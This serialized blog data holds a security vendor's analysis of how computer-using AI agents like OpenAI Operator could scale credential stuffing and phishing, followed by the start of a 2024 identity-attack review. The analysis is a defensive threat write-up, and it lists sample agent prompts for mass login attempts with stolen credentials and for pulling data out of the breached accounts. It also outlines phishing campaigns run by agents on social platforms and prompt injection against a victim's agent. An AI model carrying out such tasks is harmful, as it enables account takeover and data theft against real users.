",{"data":69113,"content":69114,"nodeType":860},{},[69115],{"data":69116,"marks":69117,"value":69118,"nodeType":864},{},[],"It’s still early days for CUA tech, but there’s a clear indication that an already severe security challenge could be made worse with this particular form of AI-driven automation. While the ability to target a broad set of apps has been previously beyond the scope of traditional automation, it’s about to become much more accessible to even low-skilled attackers (think: next gen script kiddies?). ",{"data":69120,"content":69121,"nodeType":860},{},[69122,69126,69131],{"data":69123,"marks":69124,"value":69125,"nodeType":864},{},[],"Another way to think about it is that it effectively gives a human attacker a fleet of low-level interns who don’t ",{"data":69127,"marks":69128,"value":69130,"nodeType":864},{},[69129],{"type":2246},"quite",{"data":69132,"marks":69133,"value":69134,"nodeType":864},{},[]," know what they’re doing, but can be instructed to perform specific, itemised tasks at scale with only the occasional check in — while you work on other, more complex tasks. So, a bit like a red team manager of AI bots. ",{"data":69136,"content":69137,"nodeType":860},{},[69138],{"data":69139,"marks":69140,"value":69141,"nodeType":864},{},[],"Operator means that attackers can leverage compromised credentials at-scale, take advantage of the vast numbers of vulnerable and misconfigured identities, and convert them into systemic breaches much more easily. In a way, it could make credential stuffing a bit more like it was before the shift to cloud apps — where you could spray thousands of credentials across your targets without needing custom development every time. ",{"data":69143,"content":69144,"nodeType":860},{},[69145,69149,69156,69159,69167],{"data":69146,"marks":69147,"value":69148,"nodeType":864},{},[],"Thankfully, no new anti-AI capabilities are required — but it’s more important than ever that organizations look to defend their identity attack surface and find and fix identity vulnerabilities before attackers can take advantage of them. To prevent stolen credentials being exploited, defenders need to be able ",{"data":69150,"content":69151,"nodeType":883},{"uri":68809},[69152],{"data":69153,"marks":69154,"value":69155,"nodeType":864},{},[],"to quickly identify where compromised credentials are being actively used",{"data":69157,"marks":69158,"value":2232,"nodeType":864},{},[],{"data":69160,"content":69162,"nodeType":883},{"uri":69161},"https://pushsecurity.com/blog/enforce-mfa-on-third-party-apps/",[69163],{"data":69164,"marks":69165,"value":69166,"nodeType":864},{},[],"deploy mitigating controls like MFA",{"data":69168,"marks":69169,"value":69170,"nodeType":864},{},[]," to prevent exploitation with a vulnerable single factor. ",{"data":69172,"content":69173,"nodeType":1005},{},[],{"data":69175,"content":69176,"nodeType":1009},{},[69177],{"data":69178,"marks":69179,"value":13350,"nodeType":864},{},[],{"data":69181,"content":69182,"nodeType":860},{},[69183,69187,69194],{"data":69184,"marks":69185,"value":69186,"nodeType":864},{},[],"If you want to learn more about identity attacks and how to stop them, ",{"data":69188,"content":69189,"nodeType":883},{"uri":1700},[69190],{"data":69191,"marks":69192,"value":18241,"nodeType":864},{},[69193],{"type":1455},{"data":69195,"marks":69196,"value":2924,"nodeType":864},{},[],{"data":69198,"content":69199,"nodeType":860},{},[69200,69204,69212],{"data":69201,"marks":69202,"value":69203,"nodeType":864},{},[],"And if you want to see more malicious use cases of Operator in action, ",{"data":69205,"content":69206,"nodeType":883},{"uri":68536},[69207],{"data":69208,"marks":69209,"value":69211,"nodeType":864},{},[69210],{"type":1455},"check out this on-demand webinar. ",{"data":69213,"marks":69214,"value":21,"nodeType":864},{},[],{"data":69216,"content":69219,"nodeType":996},{"target":69217},{"sys":69218},{"id":68089,"type":1001,"linkType":1002},[],{"data":69221,"content":69222,"nodeType":860},{},[69223],{"data":69224,"marks":69225,"value":21,"nodeType":864},{},[],"How new AI agents will transform credential stuffing attacks","Credential stuffing attacks had a huge impact in 2024. But things could be dialled up even further with Computer-Using Agents like OpenAI Operator. ","2025-03-11T00:00:00.000Z","how-new-ai-agents-will-transform-credential-stuffing-attacks",{"items":69231},[69232,69234],{"sys":69233,"name":6593},{"id":6592},{"sys":69235,"name":297},{"id":2732},{"items":69237},[69238],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":69239},{"url":2740},{"__typename":2059,"sys":69241,"content":69243,"title":69860,"synopsis":69861,"hashTags":59,"publishedDate":69862,"slug":69863,"tagsCollection":69864,"authorsCollection":69870},{"id":69242},"SiALa9w13C6q3OzeTeUum",{"json":69244},{"data":69245,"content":69246,"nodeType":856},{},[69247,69254,69270,69277,69283,69290,69297,69300,69307,69314,69321,69344,69351,69367,69370,69377,69384,69407,69414,69421,69439,69445,69452,69471,69477,69484,69530,69538,69545,69557,69569,69576,69609,69616,69619,69626,69646,69653,69660,69667,69670,69677,69685,69692,69699,69762,69769,69776,69783,69816,69822,69829,69836,69842],{"data":69248,"content":69249,"nodeType":860},{},[69250],{"data":69251,"marks":69252,"value":69253,"nodeType":864},{},[],"Computer-Using Agents (CUAs) are a new type of AI agent that drives your browser/OS for you. With the research preview release of OpenAI Operator last week, it’s likely that we’ll be seeing a lot more of this technology in the future as OpenAI iterates and competitors launch their own versions. ",{"data":69255,"content":69256,"nodeType":860},{},[69257,69261,69266],{"data":69258,"marks":69259,"value":69260,"nodeType":864},{},[],"These models run on the same UI as the user sees, rather than using code or API based add-ons or tools (e.g. with access via API keys). In Operator’s case, the agent runs in its own browser, where it can navigate to and interact with webpages by typing, clicking, and scrolling. It effectively sees and interacts with pages as a human would, ",{"data":69262,"marks":69263,"value":69265,"nodeType":864},{},[69264],{"type":899},"using human (not machine) identities",{"data":69267,"marks":69268,"value":69269,"nodeType":864},{},[]," — taking actions on the web without requiring custom API integrations. ",{"data":69271,"content":69272,"nodeType":860},{},[69273],{"data":69274,"marks":69275,"value":69276,"nodeType":864},{},[],"This means that a user describes a task, and Operator performs it autonomously on their behalf. The examples provided by OpenAI are things like booking a dinner reservation or shopping for groceries — but naturally the potential use cases are much, much broader, especially in a work context.",{"data":69278,"content":69282,"nodeType":996},{"target":69279},{"sys":69280},{"id":69281,"type":1001,"linkType":1002},"5mWWi5mfqEcSQX12gOtyQm",[],{"data":69284,"content":69285,"nodeType":860},{},[69286],{"data":69287,"marks":69288,"value":69289,"nodeType":864},{},[],"Obviously the broad impact of this technology is almost impossible to predict this early in the game. But since we’re focussed on identity security at Push, we can at least describe some of the very predictable impacts in this area.",{"data":69291,"content":69292,"nodeType":860},{},[69293],{"data":69294,"marks":69295,"value":69296,"nodeType":864},{},[],"CUAs like Operator are essentially very flexible no-code automation platforms. This means that these tools (or future iterations of them) will enable low-cost, low-effort automation of common web tasks — the very tasks that app developers and vendors have worked hard to prevent from being automated — including those frequently performed by attackers.",{"data":69298,"content":69299,"nodeType":1005},{},[],{"data":69301,"content":69302,"nodeType":1009},{},[69303],{"data":69304,"marks":69305,"value":69306,"nodeType":864},{},[],"Why do CUAs stand to benefit attackers more than previous AI tools? ",{"data":69308,"content":69309,"nodeType":860},{},[69310],{"data":69311,"marks":69312,"value":69313,"nodeType":864},{},[],"Organizations have been concerned about the security and privacy implications of GenAI tools and platforms for a while now — mainly concerning the risk of inputting sensitive data into LLMs, and prompt injection attacks in which models can be tricked into disclosing internal data. ",{"data":69315,"content":69316,"nodeType":860},{},[69317],{"data":69318,"marks":69319,"value":69320,"nodeType":864},{},[],"But so far, the primary impact of GenAI on attacker capabilities specifically has been mainly limited to the use of LLMs for the creation of phishing emails and in AI-assisted malware development — no doubt significant, but not exactly transformative. And although the concept of an AI agent is nothing new, they haven’t been particularly common outside of research circles. ",{"data":69322,"content":69323,"nodeType":860},{},[69324,69328,69333,69336,69341],{"data":69325,"marks":69326,"value":69327,"nodeType":864},{},[],"CUAs, on the other hand, use LLMs trained using datasets which make them far more able to understand and interact with web pages. Coupled with what is essentially a production-grade integration between browser and LLM, and you have an agent that is able to understand and interact with websites to achieve an outcome, with minimal human input and oversight (as opposed to simply scraping the data) ",{"data":69329,"marks":69330,"value":69332,"nodeType":864},{},[69331],{"type":899},"with much the same behaviors and capabilities",{"data":69334,"marks":69335,"value":1171,"nodeType":864},{},[],{"data":69337,"marks":69338,"value":69340,"nodeType":864},{},[69339],{"type":899},"as a human operator.",{"data":69342,"marks":69343,"value":12978,"nodeType":864},{},[],{"data":69345,"content":69346,"nodeType":860},{},[69347],{"data":69348,"marks":69349,"value":69350,"nodeType":864},{},[],"By performing actions autonomously on the user’s behalf, it has a lot in common with a low/no-code automation platform like Zapier or Make.com — except it doesn’t perform actions via API, but by performing actions in the browser as a user would. Unlike no/low-code automations, it doesn’t need a strict or rigid step-by-step description of tasks that should be automated and can dynamically generate steps like a human does. ",{"data":69352,"content":69353,"nodeType":860},{},[69354,69358,69363],{"data":69355,"marks":69356,"value":69357,"nodeType":864},{},[],"None of this can’t be done using other automation tools, but it’s the difference between writing code to automate a task by hand and asking a human assistant to do something for you — ",{"data":69359,"marks":69360,"value":69362,"nodeType":864},{},[69361],{"type":899},"the effort required is reduced by orders of magnitude.",{"data":69364,"marks":69365,"value":69366,"nodeType":864},{},[]," This makes it both more flexible and accessible to a much wider range of users. ",{"data":69368,"content":69369,"nodeType":1005},{},[],{"data":69371,"content":69372,"nodeType":1009},{},[69373],{"data":69374,"marks":69375,"value":69376,"nodeType":864},{},[],"How can CUAs be abused by attackers?",{"data":69378,"content":69379,"nodeType":860},{},[69380],{"data":69381,"marks":69382,"value":69383,"nodeType":864},{},[],"There are two main groups of attack to be aware of:",{"data":69385,"content":69386,"nodeType":941},{},[69387,69397],{"data":69388,"content":69389,"nodeType":945},{},[69390],{"data":69391,"content":69392,"nodeType":860},{},[69393],{"data":69394,"marks":69395,"value":69396,"nodeType":864},{},[],"Attacks enabled by the technology (CUA)",{"data":69398,"content":69399,"nodeType":945},{},[69400],{"data":69401,"content":69402,"nodeType":860},{},[69403],{"data":69404,"marks":69405,"value":69406,"nodeType":864},{},[],"Attacks against specific CUA tools/implementations (e.g. Operator)",{"data":69408,"content":69409,"nodeType":860},{},[69410],{"data":69411,"marks":69412,"value":69413,"nodeType":864},{},[],"Because the answer to the latter question is subjective depending on the CUA being targeted (and Operator is still in its “research preview” release) we’ll focus on how attackers can potentially use CUAs for malicious purposes in general. ",{"data":69415,"content":69416,"nodeType":1312},{},[69417],{"data":69418,"marks":69419,"value":69420,"nodeType":864},{},[],"How attackers can use their own CUAs to conduct AI-powered cyber attacks",{"data":69422,"content":69423,"nodeType":860},{},[69424,69428,69436],{"data":69425,"marks":69426,"value":69427,"nodeType":864},{},[],"The most obvious use-case for an attacker-controlled CUA is targeting internet-based app accounts. Most organizations are now using hundreds of apps, with thousands of sprawling identities (including both inside enterprise SSO connected accounts and local username & password logins) — ",{"data":69429,"content":69430,"nodeType":883},{"uri":13714},[69431],{"data":69432,"marks":69433,"value":69435,"nodeType":864},{},[69434],{"type":1455},"many of which are highly vulnerable to even low-sophistication attack techniques",{"data":69437,"marks":69438,"value":25428,"nodeType":864},{},[],{"data":69440,"content":69444,"nodeType":996},{"target":69441},{"sys":69442},{"id":69443,"type":1001,"linkType":1002},"7itjimRwqpkrCF7YRI8FTq",[],{"data":69446,"content":69447,"nodeType":860},{},[69448],{"data":69449,"marks":69450,"value":69451,"nodeType":864},{},[],"Previously, identity attacks against modern SaaS environments and the sprawl of apps and accounts required a lot of manual work to scale. Because web identities are implemented in mostly bespoke ways across thousands of sites (and they are constantly changing) attacks on them are challenging to automate. Further, the act of logging in using automated methods has been impacted by widespread bot protection — specifically to prevent malicious automation. ",{"data":69453,"content":69454,"nodeType":860},{},[69455,69459,69467],{"data":69456,"marks":69457,"value":69458,"nodeType":864},{},[],"So, attackers end up sending phishing links through email, and targeting only a few high value apps for cred stuffing — despite the availability of credentials online (which, ",{"data":69460,"content":69461,"nodeType":883},{"uri":3751},[69462],{"data":69463,"marks":69464,"value":69466,"nodeType":864},{},[69465],{"type":1455},"as the Snowflake attacks demonstrate",{"data":69468,"marks":69469,"value":69470,"nodeType":864},{},[],", can be an untapped treasure trove for attackers).",{"data":69472,"content":69476,"nodeType":996},{"target":69473},{"sys":69474},{"id":69475,"type":1001,"linkType":1002},"24HV5O6LJ12ZVECTSel2WL",[],{"data":69478,"content":69479,"nodeType":860},{},[69480],{"data":69481,"marks":69482,"value":69483,"nodeType":864},{},[],"We know that about 1 in 3 users re-use passwords, so there is a great chance a lot of those exact same credentials were actually valid for many other apps. It’s very tough to manually test each credential by logging into even a few dozen apps (or building a web automation to do so). But this is significantly easier if you can ask a CUA to: ",{"data":69485,"content":69486,"nodeType":941},{},[69487,69497,69507],{"data":69488,"content":69489,"nodeType":945},{},[69490],{"data":69491,"content":69492,"nodeType":860},{},[69493],{"data":69494,"marks":69495,"value":69496,"nodeType":864},{},[],"“Find a list of the top 1000 SaaS apps”. ",{"data":69498,"content":69499,"nodeType":945},{},[69500],{"data":69501,"content":69502,"nodeType":860},{},[69503],{"data":69504,"marks":69505,"value":69506,"nodeType":864},{},[],"“Try to login to the app using this username and password. Let me know which apps you successfully logged into”. ",{"data":69508,"content":69509,"nodeType":945},{},[69510],{"data":69511,"content":69512,"nodeType":860},{},[69513,69517,69526],{"data":69514,"marks":69515,"value":69516,"nodeType":864},{},[],"“Use ",{"data":69518,"content":69520,"nodeType":883},{"uri":69519},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/takeout_services/description.md",[69521],{"data":69522,"marks":69523,"value":69525,"nodeType":864},{},[69524],{"type":1455},"takeout services",{"data":69527,"marks":69528,"value":69529,"nodeType":864},{},[]," to download data from each app and send it to this location, grouping by company name” (or even just ask the model to cut and paste or download the data from the account).",{"data":69531,"content":69532,"nodeType":860},{},[69533],{"data":69534,"marks":69535,"value":69537,"nodeType":864},{},[69536],{"type":899},"This is how you really scale these attacks.",{"data":69539,"content":69540,"nodeType":860},{},[69541],{"data":69542,"marks":69543,"value":69544,"nodeType":864},{},[],"CUA agents also change how and where phishing can take place. Where phishing takes place outside of email, it’s much less likely to be intercepted by enterprise anti-phishing controls. You could:",{"data":69546,"content":69547,"nodeType":860},{},[69548,69553],{"data":69549,"marks":69550,"value":69552,"nodeType":864},{},[69551],{"type":899},"1.",{"data":69554,"marks":69555,"value":69556,"nodeType":864},{},[]," Task an agent to create Reddit, Discord, and Slack accounts, login, and find the 100 (or 10000?) biggest subreddits/communities/channels. Now have it join those, and write posts that seem relevant to ongoing threads, or write targeted DMs and include links to a phishing page. If the account gets banned, no problem, automatically start over. Not enough karma? Instruct the agent to build karma.",{"data":69558,"content":69559,"nodeType":860},{},[69560,69565],{"data":69561,"marks":69562,"value":69564,"nodeType":864},{},[69563],{"type":899},"2.",{"data":69566,"marks":69567,"value":69568,"nodeType":864},{},[]," Or consider a more targeted scenario: connect to a specific target (or group of targets) via LinkedIn, read all your target’s posts and comments, and using that context start a conversation with them, using a topic you know that will interest them to create a phishing lure, and direct them to your phishing site. ",{"data":69570,"content":69571,"nodeType":1312},{},[69572],{"data":69573,"marks":69574,"value":69575,"nodeType":864},{},[],"Operator caveats",{"data":69577,"content":69578,"nodeType":860},{},[69579,69583,69592,69596,69605],{"data":69580,"marks":69581,"value":69582,"nodeType":864},{},[],"Now, it’s worth pointing out that Operator has controls that are designed to prevent this sort of abuse. ",{"data":69584,"content":69586,"nodeType":883},{"uri":69585},"https://openai.com/index/introducing-operator/",[69587],{"data":69588,"marks":69589,"value":69591,"nodeType":864},{},[69590],{"type":1455},"For example",{"data":69593,"marks":69594,"value":69595,"nodeType":864},{},[],", Operator is trained to proactively ask the user to take over for tasks that require login, payment details, or when solving CAPTCHAs. The ",{"data":69597,"content":69599,"nodeType":883},{"uri":69598},"https://openai.com/index/operator-system-card/",[69600],{"data":69601,"marks":69602,"value":69604,"nodeType":864},{},[69603],{"type":1455},"Operator System Card",{"data":69606,"marks":69607,"value":69608,"nodeType":864},{},[]," also cites proactive refusals of high-risk tasks, confirmation prompts before critical actions, and active monitoring systems to detect and mitigate potential threats.",{"data":69610,"content":69611,"nodeType":860},{},[69612],{"data":69613,"marks":69614,"value":69615,"nodeType":864},{},[],"It’s unclear at this point how resistant Operator will be to attack or abuse, but really, as we said earlier, this is not about Operator — once CUA tech becomes more widely available (if recent trends are anything to go by) there’s no doubt that models will emerge with fewer (or no) safety controls. ",{"data":69617,"content":69618,"nodeType":1005},{},[],{"data":69620,"content":69621,"nodeType":1009},{},[69622],{"data":69623,"marks":69624,"value":69625,"nodeType":864},{},[],"Why CUA-based automation is a problem for security teams",{"data":69627,"content":69628,"nodeType":860},{},[69629,69633,69642],{"data":69630,"marks":69631,"value":69632,"nodeType":864},{},[],"Attackers have been using automation tools forever, and in response, developers have been building protections against them (e.g. Cloudflare Turnstile and CAPTCHAs). Using LLMs to super power them isn’t even new, nor is using automation apps for malicious purposes (see our SaaS attack matrix entry for ",{"data":69634,"content":69636,"nodeType":883},{"uri":69635},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/shadow_workflows/description.md",[69637],{"data":69638,"marks":69639,"value":69641,"nodeType":864},{},[69640],{"type":1455},"shadow workflows",{"data":69643,"marks":69644,"value":69645,"nodeType":864},{},[],") — so what’s the difference?",{"data":69647,"content":69648,"nodeType":860},{},[69649],{"data":69650,"marks":69651,"value":69652,"nodeType":864},{},[],"Previously, attackers needed to tie together automated browsers, get bot protection bypasses working, write code to extract screenshots from these browsers, pump those screenshots into a traditional LLM, generate response actions, and write code to execute those actions using browser automation. It was a lot of manual work — and needed constant maintenance — and wasn’t very effective because the general LLMs weren’t good at interpreting what they were seeing.",{"data":69654,"content":69655,"nodeType":860},{},[69656],{"data":69657,"marks":69658,"value":69659,"nodeType":864},{},[],"So, this isn’t so much a change in capability but a signal that there is going to be a massive increase in performance compared to other AI agents. Bundle the new model’s ability to understand with the ability to interact with webpages and you have something that might soon create real world impact at scale. ",{"data":69661,"content":69662,"nodeType":860},{},[69663],{"data":69664,"marks":69665,"value":69666,"nodeType":864},{},[],"Perhaps the only real obstacles are safety controls and cost. But as we’ve seen after previous GenAI launches, most recently with DeepSeek — competitors have been fast following with models that out-perform the original. Some of these models will be open and contain far fewer safety protections. An open CUA model in the future might be the trigger that enables attackers to leverage these capabilities at scale. ",{"data":69668,"content":69669,"nodeType":1005},{},[],{"data":69671,"content":69672,"nodeType":1009},{},[69673],{"data":69674,"marks":69675,"value":69676,"nodeType":864},{},[],"So what?",{"data":69678,"content":69679,"nodeType":860},{},[69680],{"data":69681,"marks":69682,"value":69684,"nodeType":864},{},[69683],{"type":899},"The TL;DR is that the adoption of CUAs has the potential to significantly lower the cost to attackers of running identity attacks such as phishing and credential stuffing, while increasing their reach.",{"data":69686,"content":69687,"nodeType":860},{},[69688],{"data":69689,"marks":69690,"value":69691,"nodeType":864},{},[],"We can expect improved account takeover attacks in the future as this technology becomes more widespread, with phishing attacks being increasingly delivered outside of traditional (well-protected) mediums like email, and credential stuffing being weaponized on an even more widespread scale, across a broader range of apps. These capabilities will also become more accessible, with even less advanced attackers able to harness them.",{"data":69693,"content":69694,"nodeType":860},{},[69695],{"data":69696,"marks":69697,"value":69698,"nodeType":864},{},[],"Right now, Operator runs in a sandboxed browser environment. But going forward, more value will require an increased ability to perform authenticated access as the user — so one could imagine a world where new features are built to expose passwords into this sandbox — or that these agents will be enabled outside these sandboxes and operate in your browser (primarily) or directly on your OS using agents. We’ve already seen these agents implemented as browser extensions. This makes sense as extensions can see the tab, and interact with the page — and some early extension-based agents have existed for a while:",{"data":69700,"content":69701,"nodeType":941},{},[69702,69722,69742],{"data":69703,"content":69704,"nodeType":945},{},[69705],{"data":69706,"content":69707,"nodeType":860},{},[69708,69711,69719],{"data":69709,"marks":69710,"value":21,"nodeType":864},{},[],{"data":69712,"content":69714,"nodeType":883},{"uri":69713},"https://github.com/richardyc/Chrome-GPT",[69715],{"data":69716,"marks":69717,"value":69713,"nodeType":864},{},[69718],{"type":1455},{"data":69720,"marks":69721,"value":12978,"nodeType":864},{},[],{"data":69723,"content":69724,"nodeType":945},{},[69725],{"data":69726,"content":69727,"nodeType":860},{},[69728,69731,69739],{"data":69729,"marks":69730,"value":21,"nodeType":864},{},[],{"data":69732,"content":69734,"nodeType":883},{"uri":69733},"https://github.com/handrew/browserpilot",[69735],{"data":69736,"marks":69737,"value":69733,"nodeType":864},{},[69738],{"type":1455},{"data":69740,"marks":69741,"value":21,"nodeType":864},{},[],{"data":69743,"content":69744,"nodeType":945},{},[69745],{"data":69746,"content":69747,"nodeType":860},{},[69748,69751,69759],{"data":69749,"marks":69750,"value":21,"nodeType":864},{},[],{"data":69752,"content":69754,"nodeType":883},{"uri":69753},"https://github.com/TaxyAI/browser-extension",[69755],{"data":69756,"marks":69757,"value":69753,"nodeType":864},{},[69758],{"type":1455},{"data":69760,"marks":69761,"value":2924,"nodeType":864},{},[],{"data":69763,"content":69764,"nodeType":860},{},[69765],{"data":69766,"marks":69767,"value":69768,"nodeType":864},{},[],"If we have agents operating on user endpoints, not in sandboxes, that means they will have access to all identities that are already authenticated, or that can be automatically authenticated (password manager autofills etc.). There’s nothing fundamentally stopping you from prompt-injecting a victim's CUA and tricking it into creating a malicious integration, or sending you an API key.",{"data":69770,"content":69771,"nodeType":1312},{},[69772],{"data":69773,"marks":69774,"value":69775,"nodeType":864},{},[],"So to summarize...",{"data":69777,"content":69778,"nodeType":860},{},[69779],{"data":69780,"marks":69781,"value":69782,"nodeType":864},{},[],"Organizations should anticipate an increase in identity attacks targeting web-based apps and services using techniques that can be amplified by CUAs such as phishing and credential stuffing. We recommend that organizations:",{"data":69784,"content":69785,"nodeType":941},{},[69786,69796,69806],{"data":69787,"content":69788,"nodeType":945},{},[69789],{"data":69790,"content":69791,"nodeType":860},{},[69792],{"data":69793,"marks":69794,"value":69795,"nodeType":864},{},[],"Anticipate an increase in phishing attacks delivered outside of email, and evaluate your detection capabilities for mediums such as IM platforms and social media sites.",{"data":69797,"content":69798,"nodeType":945},{},[69799],{"data":69800,"content":69801,"nodeType":860},{},[69802],{"data":69803,"marks":69804,"value":69805,"nodeType":864},{},[],"Find and harden identities that could be vulnerable to attacks using techniques that can be automated (e.g. mass credential stuffing) such as those missing phishing resistant MFA (or MFA altogether).",{"data":69807,"content":69808,"nodeType":945},{},[69809],{"data":69810,"content":69811,"nodeType":860},{},[69812],{"data":69813,"marks":69814,"value":69815,"nodeType":864},{},[],"Ensure that all identities are suitably protected — even those outside the scope of traditional identity stores (such as Active Directory and modern equivalents e.g. Entra, Okta) used to access the much broader set of web-based services. ",{"data":69817,"content":69818,"nodeType":1312},{},[69819],{"data":69820,"marks":69821,"value":13350,"nodeType":864},{},[],{"data":69823,"content":69824,"nodeType":860},{},[69825],{"data":69826,"marks":69827,"value":69828,"nodeType":864},{},[],"AI-powered or not, identity attacks are what Push is designed to combat. Our features and controls designed to stop account takeover via phishing, credential stuffing, and session hijacking remain effective in this new world — in fact, as attackers are granted the ability to conduct these attacks with greater speed and scale, they become more valuable than ever. ",{"data":69830,"content":69831,"nodeType":860},{},[69832],{"data":69833,"marks":69834,"value":69835,"nodeType":864},{},[],"If you're interested in learning more, check out our on-demand webinar where we demonstrate the use of CUAs for automating identity attacks, particularly in the context of SaaS account takeover. ",{"data":69837,"content":69841,"nodeType":996},{"target":69838},{"sys":69839},{"id":69840,"type":1001,"linkType":1002},"UCmd5kqVZ03ce5Cs9M0r5",[],{"data":69843,"content":69844,"nodeType":860},{},[69845,69849,69856],{"data":69846,"marks":69847,"value":69848,"nodeType":864},{},[],"If you’d like to learn more about Push, ",{"data":69850,"content":69851,"nodeType":883},{"uri":5642},[69852],{"data":69853,"marks":69854,"value":69855,"nodeType":864},{},[],"set up a demo with our team",{"data":69857,"marks":69858,"value":69859,"nodeType":864},{},[]," or sign up yourself to have a look at the platform.","Considering the security implications of Computer-Using Agents (like OpenAI Operator)","CUAs are a new type of AI agent that drives your browser/OS for you, enabling effortless automation of web tasks — including those performed by attackers.","2025-01-28T00:00:00.000Z","considering-the-impact-of-computer-using-agents",{"items":69865},[69866,69868],{"sys":69867,"name":6593},{"id":6592},{"sys":69869,"name":297},{"id":2732},{"items":69871},[69872],{"fullName":26106,"firstName":26107,"jobTitle":26108,"profilePicture":69873},{"url":26110},{"__typename":2059,"sys":69875,"content":69877,"title":71047,"synopsis":71048,"hashTags":59,"publishedDate":71049,"slug":71050,"tagsCollection":71051,"authorsCollection":71057},{"id":69876},"5KqYY7p174lSpuinfTfEZU",{"json":69878},{"data":69879,"content":69880,"nodeType":856},{},[69881,69888,69943,69950,69953,69960,69967,70000,70012,70015,70022,70033,70040,70059,70065,70085,70092,70103,70123,70143,70150,70169,70175,70195,70198,70205,70212,70219,70238,70257,70264,70284,70291,70298,70323,70330,70349,70370,70376,70383,70403,70406,70413,70430,70449,70456,70509,70516,70519,70526,70533,70552,70572,70579,70586,70593,70613,70620,70627,70633,70639,70642,70649,70656,70663,70683,70693,70712,70719,70726,70736,70743,70750,70770,70776,70779,70786,70793,70800,70871,70878,70885,70892,70900,70921,70928,70934,70945,70966,70973,70981,71001,71008,71015,71021,71024,71031],{"data":69882,"content":69883,"nodeType":860},{},[69884],{"data":69885,"marks":69886,"value":69887,"nodeType":864},{},[],"From massive breaches like the Snowflake incident to novel phishing techniques documented by Push researchers, 2024 was the year that identity attacks left their mark. Looking back over what we saw in the wild and what we found through Push’s own research, three key themes stand out:",{"data":69889,"content":69890,"nodeType":941},{},[69891,69910,69920],{"data":69892,"content":69893,"nodeType":945},{},[69894],{"data":69895,"content":69896,"nodeType":860},{},[69897,69901,69906],{"data":69898,"marks":69899,"value":69900,"nodeType":864},{},[],"Account takeover techniques on cloud apps are fundamentally different from traditional network-based attacks. To have the best chance of preventing account takeover, defenders need to  disrupt attacks ",{"data":69902,"marks":69903,"value":69905,"nodeType":864},{},[69904],{"type":2246},"before",{"data":69907,"marks":69908,"value":69909,"nodeType":864},{},[]," they’re successful.",{"data":69911,"content":69912,"nodeType":945},{},[69913],{"data":69914,"content":69915,"nodeType":860},{},[69916],{"data":69917,"marks":69918,"value":69919,"nodeType":864},{},[],"It’s not easy or practical to maintain 100 percent compliance on identity posture standards in a world where employees are using and signing up to apps outside of IT oversight — but it is possible to make this work a lot easier by using tools that help you scale your remediation activities.",{"data":69921,"content":69922,"nodeType":945},{},[69923],{"data":69924,"content":69925,"nodeType":860},{},[69926,69930,69939],{"data":69927,"marks":69928,"value":69929,"nodeType":864},{},[],"Despite another year where cybersecurity spend increased (now up to almost $1,100 per user, according to ",{"data":69931,"content":69933,"nodeType":883},{"uri":69932},"https://www.forrester.com/report/2024-cybersecurity-benchmarks-global/RES181118",[69934],{"data":69935,"marks":69936,"value":69938,"nodeType":864},{},[69937],{"type":1455},"Forrester",{"data":69940,"marks":69941,"value":69942,"nodeType":864},{},[],"), existing approaches are not successfully preventing account takeovers. Security teams need to be able to detect and respond to these attacks where they happen: The browser.",{"data":69944,"content":69945,"nodeType":860},{},[69946],{"data":69947,"marks":69948,"value":69949,"nodeType":864},{},[],"In this article, we’ll take a look back at how these themes influenced key features we delivered for Push customers in 2024.",{"data":69951,"content":69952,"nodeType":1005},{},[],{"data":69954,"content":69955,"nodeType":1009},{},[69956],{"data":69957,"marks":69958,"value":69959,"nodeType":864},{},[],"Defending against modern phishing attacks",{"data":69961,"content":69962,"nodeType":860},{},[69963],{"data":69964,"marks":69965,"value":69966,"nodeType":864},{},[],"Phishing techniques that bypass MFA are now the norm, and few organizations have successfully achieved full coverage of phishing-resistant MFA methods. ",{"data":69968,"content":69969,"nodeType":860},{},[69970,69974,69983,69987,69996],{"data":69971,"marks":69972,"value":69973,"nodeType":864},{},[],"Equally, while phishing attacks via email remain the most commonly reported vector, phishing attacks increasingly target users outside of email. For example, phishing links are often encountered through normal internet use — such as ",{"data":69975,"content":69977,"nodeType":883},{"uri":69976},"https://www.bleepingcomputer.com/news/security/hackers-use-google-search-ads-to-steal-google-ads-accounts/",[69978],{"data":69979,"marks":69980,"value":69982,"nodeType":864},{},[69981],{"type":1455},"in malicious Google ads",{"data":69984,"marks":69985,"value":69986,"nodeType":864},{},[]," — and attackers frequently conduct their campaigns over IM platforms like Slack and Teams. Late last year there was ",{"data":69988,"content":69990,"nodeType":883},{"uri":69989},"https://www.linkedin.com/posts/kevin-beaumont-security_ive-been-assisting-a-few-orgs-hit-with-successful-activity-7268055739116445701-xxjZ?utm_source=share&utm_medium=member_desktop",[69991],{"data":69992,"marks":69993,"value":69995,"nodeType":864},{},[69994],{"type":1455},"a rise in attackers inundating users with spam via Teams",{"data":69997,"marks":69998,"value":69999,"nodeType":864},{},[],", combined with phone scams posing as IT admins. Since anti-phishing controls are usually email-based, they fail to protect users from attacks taking place elsewhere. ",{"data":70001,"content":70002,"nodeType":860},{},[70003,70007],{"data":70004,"marks":70005,"value":70006,"nodeType":864},{},[],"At Push, we’ve built a suite of anti-phishing features over the last year that act as a defense-in-depth approach to the types of modern phishing techniques we’ve been observing in the wild. ",{"data":70008,"marks":70009,"value":70011,"nodeType":864},{},[70010],{"type":899},"Here’s what we built and why.",{"data":70013,"content":70014,"nodeType":1005},{},[],{"data":70016,"content":70017,"nodeType":1009},{},[70018],{"data":70019,"marks":70020,"value":70021,"nodeType":864},{},[],"Protecting passwords used for SSO",{"data":70023,"content":70024,"nodeType":1312},{},[70025,70030],{"data":70026,"marks":70027,"value":70029,"nodeType":864},{},[70028],{"type":899},"What happened?",{"data":70031,"marks":70032,"value":1171,"nodeType":864},{},[],{"data":70034,"content":70035,"nodeType":860},{},[70036],{"data":70037,"marks":70038,"value":70039,"nodeType":864},{},[],"Attackers explicitly targeted Okta, Entra, and Google Workspace accounts in 2023 and 2024, so we knew a top priority would be protecting identity provider accounts. These IdP accounts are a key target because they allow attackers to move laterally to other valuable apps and data via SSO following the initial account takeover.",{"data":70041,"content":70042,"nodeType":860},{},[70043,70047,70055],{"data":70044,"marks":70045,"value":70046,"nodeType":864},{},[],"It’s not just the typical IdPs you need to watch out for, either: Apps like GitHub, Slack, Salesforce, Facebook, X, and others all provide SSO functionality, increasing the blast radius of a compromise. And as we reported in 